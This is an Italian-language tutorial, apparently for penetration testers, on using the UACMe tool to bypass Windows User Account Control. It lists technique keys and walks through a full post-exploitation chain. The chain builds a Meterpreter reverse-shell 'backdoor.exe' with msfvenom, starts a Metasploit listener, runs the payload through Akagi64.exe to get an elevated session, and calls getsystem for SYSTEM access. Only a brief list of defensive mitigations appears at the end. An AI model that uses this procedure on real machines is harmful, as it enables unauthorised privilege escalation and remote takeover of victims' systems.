Tutorials

🛠 Guida Approfondita al Tool UACMe

UACMe è uno strumento open-source sviluppato da hfiref0x, progettato per bypassare il Controllo Account Utente UAC su sistemi Windows. È ampiamente utilizzato in fase di post-exploitation per ottenere

#exploitation#windows#metasploit

🛠 Guida Approfondita al Tool UACMe

UACMe è uno strumento open-source sviluppato da hfiref0x, progettato per bypassare il Controllo Account Utente (UAC) su sistemi Windows. È ampiamente utilizzato in fase di post-exploitation per ottenere privilegi elevati (elevated privileges) partendo da un contesto con privilegi standard, ma appartenente al gruppo Administrators.

🔗 Repository ufficiale: https://github.com/hfiref0x/UACME

🎯 Obiettivo del Tool

Bypassare il prompt UAC che separa un utente "Administrator" da una sessione realmente elevata.

⚠️ Prerequisito fondamentale: L’utente con cui si ha accesso deve appartenere al gruppo "Administrators" ma non avere già privilegi elevati (elevation required).

🧱 Struttura del Progetto

Il progetto UACMe contiene:

  • Codice sorgente C/C++ dei vari metodi.
  • File eseguibili precompilati (Akagi64.exe, Akagi32.exe).
  • Tecniche identificate tramite chiavi numeriche (es. 23, 33, 65, ...).

🔑 Tecniche di Bypass supportate

Ogni tecnica sfrutta:

  • Comportamenti legittimi ma abusabili del sistema
  • Auto-elevazione di binari trusted (es: fodhelper.exe, sdclt.exe, ecc.)
  • Hijacking di chiavi di registro
ChiaveMetodoCompatibilità
23_eventvwr.exe + registry hijack_Windows 7
33_fodhelper.exe + registry hijack_Windows 10 1803+
65_sdclt.exe + registry hijack_Windows 10 <1803
37_ComputerDefaults.exe + registry hijack_Windows 10+
1_IFileOperation COM object abuse_Windows 7/10
📌 L’elenco completo è consultabile nel file methods.h del repository.

🚩 Procedura per Privilege Escalation con UACMe

⚙️ Prerequisiti

  • Accesso iniziale (foothold) alla macchina target con un utente che fa parte del gruppo "Administrators".
  • Conoscenza della versione di Windows del sistema target (per scegliere la chiave corretta).

🔧 Procedura Passo-Passo

1. Generare il payload con msfvenom:

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o backdoor.exe

2. Avviare il listener in Metasploit:

bash
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run

3. Uploadare i file sulla macchina target: - backdoor.exe: payload Meterpreter - Akagi64.exe: binario UACMe 4. Eseguire il payload con UACMe:

bash
Akagi64.exe 23 C:\Temp\backdoor.exe
✅ 23 è la chiave della tecnica scelta. Deve essere compatibile con il sistema operativo target. Puoi consultare il GitHub ufficiale per la lista aggiornata.

5. Ricevere una sessione Meterpreter con privilegi elevati. 6. Usare il comando getsystem per ottenere accesso come NT AUTHORITY\SYSTEM:

bash
meterpreter > getsystem

✅ Tecniche Consigliate (per versione)

Versione WindowsTecniche più stabili
Windows 71, 23
Windows 10 <180365, 1
Windows 10+33, 37
Windows 11Tecniche recenti

🔍 Test e Compatibilità

  • Alcune tecniche non funzionano con UAC impostato al livello massimo.
  • Alcune sono patchate nelle build più recenti.
  • Raccomandato testare prima in ambiente virtuale.

🛡️ Mitigazioni Difensive

  • Impostare UAC al livello massimo
  • Evitare account con privilegi locali inutili
  • Monitorare esecuzione di binari elevabili (fodhelper.exe, sdclt.exe)
  • Usare strumenti EDR per analisi comportamentale

📚 Risorse Utili